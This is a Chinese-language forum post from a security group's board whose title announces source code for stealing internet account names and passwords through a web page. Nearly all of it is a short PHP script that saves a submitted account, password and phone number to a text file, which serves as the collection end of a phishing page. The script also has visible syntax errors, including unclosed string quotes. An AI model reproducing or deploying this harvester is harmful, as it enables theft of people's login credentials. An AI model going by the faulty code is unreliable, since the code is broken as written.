论坛: 网站建设 标题: 利用网页窃取上网账号与密码的源文件 复制本贴地址    
作者: BearKing [bking]    版主   登录
/*仅供参考,有错误的地方请提出来*/
PHP源文件“核心部份“
<html>
<head>
<title>将认证储存下来</title>
</head>
<body><font color="blut">
<center>
<script language="php">
$name=$id;
$pass=$pw;
$phone=$num;

$file="output.txt";

$fileopen=fopen ($file,"w+");
fseek ($fileopen,0);

fwrite ($fileopen,$name."\n");
fwrite ($fileopen,$pw."\n");
fwrite ($fileopen,$num."\n");

echo "已经存盘的数据有:<p>";
echo "账号:".$name."<br>;
echo "密码:".$pw."<br>;
echo "电话:".$num."<br>;

fclose ($fileopen);
echo "文件已经存盘<br>";
</script>


[此贴被 BearKing(bking) 在 05月02日16时28分 编辑过]

地主 发表时间: 05/02 16:37

论坛: 网站建设

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号